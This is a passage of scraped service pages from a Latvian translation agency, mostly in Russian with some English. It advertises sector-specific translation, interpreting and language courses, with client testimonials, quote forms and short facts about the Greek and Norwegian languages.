наладить общение на иностранном языке и поспособствует вашему росту не только на местном, но и на экспортных рынках. Мы знаем: у вас большой потенциал и грандиозные планы, которые будет проще реализовать, подобрав нужные слова! Независимо от того, что вам нужно, — перевод письменного текста, локализация домашней страницы, помощь с графическим дизайном или услуги устного переводчика на деловой встрече или конференции — Skrivanek поможет вам добиться желаемого результата. Мы рады, что нашими услугами пользуются и небольшие производства, и стратегически важные заводы, и другие бизнесмены, производящие свою продукцию. Предлагаем воспользоваться нашими языковыми решениями! Наши специалисты имеют богатый опыт выполнения переводов для производственных предприятий. Даже в случае больших объемов вы очень быстро получите готовый текст, так как мы используем самые современные переводческие технологии. Каждый проект координируется опытным менеджером, который организует выполнение заказа от начала до конца. Независимо от того, вам нужно, — перевод веб-сайта компании, подготовка делового договора, составление маркетинговых материалов, технической документации или же перевод конференции, где общение происходит на иностранном языке, — наша международная команда устных и письменных переводчиков всегда готова вам помочь. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ПРОИЗВОДСТВЕННОЙ ОТРАСЛИ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод различных маркетинговых материалов в цифровом и печатном формате: рекламных материалов, буклетов, информационных листов и т. д. ; перевод инструкций и описания оборудования; перевод описания готовой продукции и этикеток; перевод технического описания и спецификаций; перевод руководств пользователя, технических паспортов; синхронный и последовательный перевод на различных мероприятиях, включая конференции, семинары и деловые встречи; языковые курсы и специализированные семинары, которые помогут вашим работникам усовершенствовать свои презентационные навыки и знания иностранных языков; услуги ассистента; другие услуги, отвечающие вашим потребностям. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы в сфере рекламы и маркетинга: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - Published: 2017-12-19 - Modified: 2024-03-18 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Как вы знаете, правильно подобранные слова имеют огромную силу. Иногда «меньше» значит «лучше».  МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ОТРАСЛИ МАРКЕТИНГА И РЕКЛАМЫ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод любых маркетинговых текстов — коммерческих материалов, руководств по стилю, информационных листов, имейл-кампаний и пр. — как в цифровом, так и печатном формате; перевод рекламных текстов (письменных, а также предоставленных в видео- и аудиоформате); перевод рекламных лозунгов, баннеров и Google Ads; перевод веб-сайтов, в том числе начальных страниц; услуги графического дизайна (DTP); подготовку и адаптацию творческих текстов; синхронный и последовательный перевод на различных мероприятиях, включая семинары, конференции и презентации; другие услуги, отвечающие вашим потребностям. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос ПЕРЕВОДЫ РЕКЛАМНЫХ ТЕКСТОВ The translation of advertisement texts is closely related to the linguistic creativity of translators. In advertising texts especially, great value is placed on expressiveness, sound, comprehensibility and stylistics. The text of an advertisement is its most essential element of how an advertisement influences a consumer. Advertising texts have a special semantic subtext; it is rich with all kinds of artistic means of expression, the most common of which are metaphors, epithets, hyperboles, personifications and rhetorical questions. However, one must be wary of using words with an emotionally negative undertone. Advertising texts often use the problem-solution model, i. e. the advertisement defines a problem and then offers a wonderful solution, thus convincing consumers of the necessity of the product. В создании, переводе и последующей адаптации рекламных текстов необходимо помнить о том, что реклама не может быть перенасыщена текстом. В создании текстов нужно использовать емкие, точные и хорошо структурированные предложения. В рекламных текстах недопустима двусмысленность или неясность текста. В композиции рекламных текстов переводчику необходимо очень тщательно работать с заголовками и лозунгами, которые должны лаконично раскрывать суть рекламируемого продукта, поскольку нередко заголовок останется единственным, что прочтет читатель. ВИДЫ ПЕРЕВОДОВ РЕКЛАМНЫХ ТЕКСТОВ переводы рекламных текстов и их адаптация; переводы интернет-страниц или домашних страниц; переводы видео- и аудиорекламы; переводы рекламных лозунгов; переводы баннеров; переводы рекламных буклетов; переводы landing page (исходных страниц). ОСОБЕННОСТИ ПЕРЕВОДА РЕКЛАМНЫХ ТЕКСТОВ При переводе рекламных текстов необходимо обращать особое внимание на выбор формы обращения, ее запись, использование уменьшительных форм. Нужно помнить, что рекламный текст нельзя воспринимать в отрыве от его визуальных или звуковых элементов, все они вместе образуют гармоничное рекламное послание. Цвета, размер букв, графика в рекламных текстах только придает дополнительный эмоциональный оттенок. В работе с переводами рекламных текстов важно учитывать особенности национальной ментальности, архетипы и стереотипы целевой аудитории, поскольку различия в культурных ценностях могут вызвать противоречивые реакции. В переводе существенно суметь сохранить изначально закодированный в него подтекст, или эмоциональную связь, которая вместе с рекламой передается ее целевой аудитории. Поэтому при адаптации рекламы на определенной территории необходимо учитывать вызываемые ею ассоциации. Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы, отвечающие специфике торговой отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Для того чтобы обратиться к клиенту, надо знать его язык. Будучи профессионалами в области торговли, вы прекрасно понимаете, что быстрое общение является одним из ключевых условий успешного бизнеса, особенно в наши дни, когда сделки осуществляются на международном и мировом уровне. Специалисты Skrivanek помогут вам наладить общение с клиентами и партнерами по всему миру — более чем на ста языках. Кроме того, современный подход Skrivanek, ориентированный на результат, поспособствует развитию вашего бизнеса. В нашу команду входят лингвисты, которые не только знают нужный вам иностранный язык, но и ориентируются в культурных особенностях его носителей. Мы выполняем переводы, редактируем уже написанные тексты, оформляем и адаптируем их с учетом нюансов культуры, окружающей среды и рынка. Богатый опыт позволяет нам качественно переводить договоры, маркетинговые и рекламные материалы, каталоги, описание продуктов и другие важные для отрасли тексты. Мы сотрудничаем с широким спектром компаний — от небольших частных предприятий до международных торговых сетей, — поэтому можем с уверенностью заявить, что мы способны предоставить необходимые языковые услуги. О сроках можете не беспокоиться: специалисты и менеджеры Skrivanek используют современные программы, которые помогают нам предоставлять качественные языковые решения в кратчайшие сроки. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ТОРГОВОЙ ОТРАСЛИ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: синхронный и последовательный перевод на различных мероприятиях, включая конференции, семинары и ярмарки, а также деловые встречи при совершении сделок; перевод любых маркетинговых и рекламных материалов, включая описание продуктов, а также предоставление услуг графического дизайна (DPT); перевод различной технической документации, включая каталоги, руководства пользователя, документы о техническом обслуживании и эксплуатационные документы; языковые курсы разной интенсивности для людей с любым уровнем знаний; другие необходимые вам услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы, отвечающие специфике туристической отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Туристическая индустрия растет и развивается все более стремительными темпами, и возможность передать свое послание на максимальном количестве языков вызывает неизменный интерес у каждого представителя этой отрасли. Вы — профессионалы в области туризма, которые знают, как лучше всего обращаться к путешественникам, а мы — профессионалы в сфере лингвистики, которые могут перевести вашу мысль более чем на сто языков. Недаром считается, что маркетинг и реклама, связанные с туристической индустрией, — одно из самых востребованных переводческих направлений в мире. Однако очень важную роль играет качество текстов. Хотите локализовать веб-сайт своей гостиницы? Перевести туристическую брошюру? Адаптировать ресторанное меню для удобства иностранных клиентов? Мы предлагаем нечто большее, чем просто перевод. Лингвисты Skrivanek уже двадцать пять лет предоставляют высококачественные языковые решения в сфере туризма: мы не только переводим тексты, но и адаптируем их, учитывая культурные особенности каждой страны. Мы уверены: клиенты обязательно поймут вас. Независимо от того, что вам нужно, — перевод письменного текста или услуги устного переводчика на конференции или международной ярмарке — команда Skrivanek поможет вам выбрать оптимальное решение. Если вашим сотрудникам необходимо повысить уровень владения иностранным языком, будем с нетерпением ждать их в Языковой школе Skrivanek Baltic. В команде Skrivanek работают не просто филологи, а люди с обширными познаниями в области архитектуры, истории, искусства, моды, музыки и гастрономии, поэтому мы определенно сможем вам помочь. Гостиничный бизнес и общественное питание, прием туристических групп, организация путешествий, представительство городов и регионов за рубежом — мы найдем наиболее подходящих специалистов, которые достаточно знакомы с этими нюансами, чтобы донести сообщение в соответствии с вашими требованиями. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ТУРИСТИЧЕСКОЙ ОТРАСЛИ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод рекламных и маркетинговых материалов (буклетов, брошюр и каталогов), а также графический дизайн; перевод и локализацию веб-сайтов; перевод праздничных каталогов и программ путешествий; локализацию аудиогидов и видеофайлов; синхронный и последовательный перевод на различных мероприятиях, в том числе на международных ярмарках, во время приема крупных туристических групп, на семинарах и конференциях; специализированные языковые курсы; другие необходимые вам языковые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводы для государственных и муниципальных учреждений: письменные, устные, нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional В работе учреждений государственного сектора очень важную роль играет быстрая связь с сотрудниками, общественностью и иностранными партнерами. Понятная, своевременно предоставленная информация позволяет государственным и муниципальным органам работать более эффективно. Именно поэтому сотрудничество с нами принесет вам несомненную пользу. За двадцать лет работы мы наладили хорошее и долговременное сотрудничество с государственными учреждениями; среди наших клиентов — несколько министерств Латвийской Республики, Государственная канцелярия, Судебная администрация и прокуратура, а также другие государственные и муниципальные органы, которые, помимо прочего, работают с информацией ограниченного доступа. Языковая школа Skrivanek Baltic подготовила чиновников к работе в рамках председательства Латвии в Совете Европейского союза. Мы регулярно и успешно принимаем участие в ценовых опросах и закупках. Чтобы информация достигла целевой аудитории, она должна быть точной, своевременной, доступной на нескольких языках и в разных форматах. Переводчики Skrivanek могут подготовить переводы в самых разных форматах, необходимых для работы систем управления, контроля качества, обеспечения функционирования ИТ-систем, сотрудничества и общения с учреждениями ЕС. Они помогут развить туризм в вашем регионе, переведя информационные материалы о туристических объектах, а также активизируют предпринимательство, подготовив материалы для привлечения иностранных инвесторов. Кроме того, мы предлагаем услуги устного перевода для общения с населением. Наш богатый опыт позволит выполнить переводы, необходимые для ежедневной работы вашего учреждения, а ваши работники смогут отточить свои навыки в Языковой школе Skrivanek. Если нужно оценить потенциальных сотрудников на предмет владения иностранным языком, вы можете легко сделать это с помощью специально разработанного онлайн-инструмента FOCUS; кроме того, наши специалисты будут рады оказать вам помощь в оценке уровня знаний прямо на собеседовании. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ГОСУДАРСТВЕННЫХ И МУНИЦИПАЛЬНЫХ УЧРЕЖДЕНИЙ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод веб-сайтов, различных информационных материалов и презентаций; использование онлайн-инструмента для проверки уровня владения иностранным языком FOCUS; последовательный и синхронный перевод на различных мероприятиях, а также при общении с жителями; языковые курсы разной интенсивности для людей с любым уровнем знаний; перевод договоров, законов и юридических материалов; другие услуги, которые необходимы вашему учреждению. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Specialised and general translations in Greek language. Interpreting services and other Greek language solutions. Get a free quote! - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional GREEK TRANSLATIONS HOW MUCH DO TRANSLATIONS TO GREEK COST? Of course. The price list of written translation, as well as interpretation (consecutive and simultaneous), localisation and adaptation to and from Greek is an integral part in our cooperation agreement with the client. Before placing the translation project order, the translation project managers at Skrivanek Baltic always provide information on the price of the translation. The price offer is prepared within 30 minutes. When calculating the price for written orders, the number of words and repetitions in the original text, graphic element complexity and other parameters are taken into account. For you to receive a price offer, send us your material to our e-mail. Contact Skrivanek Baltic today for a free quote on Greek translation or any other combination of translation and related business services. Our Greek language services include: Greek Document Translation Greek Simultaneous Interpretation Greek Linguistic Validation Greek Consecutive Interpretation Greek Transcription Greek Typesetting and Graphics Greek Voiceovers and Subtitling Greek Staffing Solutions Greek Multicultural Marketing Greek Document Management Greek Deposition Services Greek Virtual Data Room Services Greek E-learning Support Looking for a language solution in Greek? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit FACTS ABOUT THE GREEK LANGUAGE Greek belongs to the Indo-European language family and is often referred to as the first language of European civilisation. Today, there are about 15 million speakers of this language in the world. It is the official language in Cyprus and Greece, but it is also used in Albania, the United Kingdom, Armenia, the USA, Bulgaria, South Africa, Egypt, France, Georgia, Italy, Jordan, Kazakhstan, Russia, Macedonia, Romania, Spain, and Ukraine. Historically, Greek had several stages of development: Proto-Greek, Mycenaean Greek, Ancient Greek, Koine Greek, Medieval Greek, and Modern Greek. The earliest written evidence in the form of clay tablets has survived from the Proto-Greek times and has only been deciphered partially. The most notable literary monuments of this period are the Homeric epics, such as Iliad and Odyssey, which were written in around the 9th–8th century BCE. The Mycenaean Greek stage coincides with the age of the Mycenaean civilization. Some written evidence dates back to the 15th–14th century BCE. Ancient Greek was the language of Ancient Greece. The dialects of the Ancient Greek merged, forming the so-called Koine (‘common’) Greek, which became the first lingua franca in the territories from the eastern shores of the Mediterranean to the Far East, unifying the ancient world. It first evolved in the territories conquered by Alexander the Great, but after the Hellenic colonisation it was spoken from Egypt to India. After the downfall of Ancient Greece, Koine Greek was widely used in the Roman and Byzantine empires. Arising from Phoenician writing, the Greek alphabetic writing, where each letter represents a sound, developed in around the 7th century. Originally, the letters of the Greek alphabet were used for numbers as well. Colloquial speech developed much faster than written language – at the time when Ancient Greek was spoken, written texts were still composed in Proto-Greek. Modern Greek emerged in around the 14th century and is still used today. This language has two varieties: the colloquial, or Demotic, and the urban, or Katharevousa. Katharevousa is used in official institutions and is somewhat similar to Koine. Modern Greek is remarkably different from Proto-Greek. Speakers of the modern language might not understand Proto-Greek writing. Proto-Greek is notable for shaping the majority of today’s internationalisms. As a rule, when rendering Greek pronouns into Latvian, they preserve the same endings, provided that they can be found in Latvian as well. For example, the Greek pronoun ‘Mikis’ stays the same in Latvian. Language code: ISO 639-1: el OUR MOST POPULAR GREEK LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Greek; Greek to Latvian; Estonian to Greek; Greek to Estonian; Lithuanian to Greek; Greek to Lithuanian; Russian to Greek; Greek to Russian; Czech to Greek; Greek to Czech; Polish to Greek; Greek to Polish; Ukrainian to Greek; Greek to Ukrainian; English to Greek; Greek to English; Greek to Spanish; Spanish to Greek; German to Greek; Greek to German; Italian to Greek; Greek to Italian; French to Greek; Greek to French; Danish to Greek; Greek to Danish; Norwegian to Greek; Greek to Norwegian; Swedish to Greek; Greek to Swedish; Finnish to Greek; Greek to Finnish and others. OUR MOST POPULAR GREEK LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Greek; Greek to Latvian; Estonian to Greek; Greek to Estonian; Lithuanian to Greek; Greek to Lithuanian; Russian to Greek; Greek to Russian; Czech to Greek; Greek to Czech; Polish to Greek; Greek to Polish; Ukrainian to Greek; Greek to Ukrainian; English to Greek; Greek to English; Greek to Spanish; Spanish to Greek; German to Greek; Greek to German; Italian to Greek; Greek to Italian; French to Greek; Greek to French; Danish to Greek; Greek to Danish; Norwegian to Greek; Greek to Norwegian; Swedish to Greek; Greek to Swedish; Finnish to Greek; Greek to Finnish and others. --- > General and specialised translations in Norwegian language. Interpreting, localisation and other Norwegian language solutions. Contact us! - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional NORWEGIAN TRANSLATIONS HOW MUCH DO TRANSLATIONS TO NORWEGIAN COST? Of course. The price list of written translation, as well as interpretation (consecutive and simultaneous), localisation and adaptation to and from Norwegian is an integral part in our cooperation agreement with the client. Before placing the translation project order, the translation project managers at Skrivanek Baltic always provide information on the price of the translation. The price offer is prepared within 30 minutes. When calculating the price for written orders, the number of words and repetitions in the original text, graphic element complexity and other parameters are taken into account. For you to receive a price offer, send us your material to our e-mail. Contact Skrivanek Baltic today for a free quote on Norwegian translation or any other combination of translation and related business services. Our Norwegian language services include: Norwegian Document Translation Norwegian Simultaneous Interpretation Norwegian Linguistic Validation Norwegian Consecutive Interpretation Norwegian Transcription Norwegian Typesetting and Graphics Norwegian Voiceovers and Subtitling Norwegian Staffing Solutions Norwegian Multicultural Marketing Norwegian Document Management Norwegian Deposition Services Norwegian Virtual Data Room Services Norwegian E-learning Support Looking for a language solution in Norwegian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit FACTS ABOUT THE NORWEGIAN LANGUAGE Norwegian belongs to the North Germanic languages in the Germanic language branch of the Indo-European language family. There are about five million speakers of Norwegian around the world: in the USA, Canada, and Norway, where it is the official language. Norwegian is also one of the working languages of the Nordic Council. Modern Norwegian shows strong influences of its neighbouring languages. In older times, it was impacted by the Low German language and later by Swedish, but from the Middle Ages until the breakup of the Kalmar Union in 1524, it was dominated by Danish influences. The three Nordic languages – Norwegian, Swedish, and Danish – are very close and similar. This can be attributed to the many changes in borders between the countries throughout the Scandinavian history. The earliest written artefacts are runestones that date back to the 10th–11th century. If in other countries publishing religious writings promoted the development of the national language, in Norway liturgical literature only strengthened the Danish influence, as it was the language the Bible was published in. Since the 19th century, there have been two written forms of Norwegian: bokmål (the ‘book language’), which is based on Danish lexicology and grammar and Norwegian phonetics, and the so-called ‘new Norwegian’ (nynorsk), which emerged in the mid-19th century, fusing the different Norwegian dialects. Nynorsk was created by the linguist Ivar Aasen around 1850s. For several decades linguists have struggled to merge the two writing systems but with no success. A survey conducted in 2005 reveals that 86. 3% of people mainly use bokmål in their daily life, 5. 5% use both, and 13% use the new Norwegian, while in speech Norwegians mostly use dialects that are the closest in 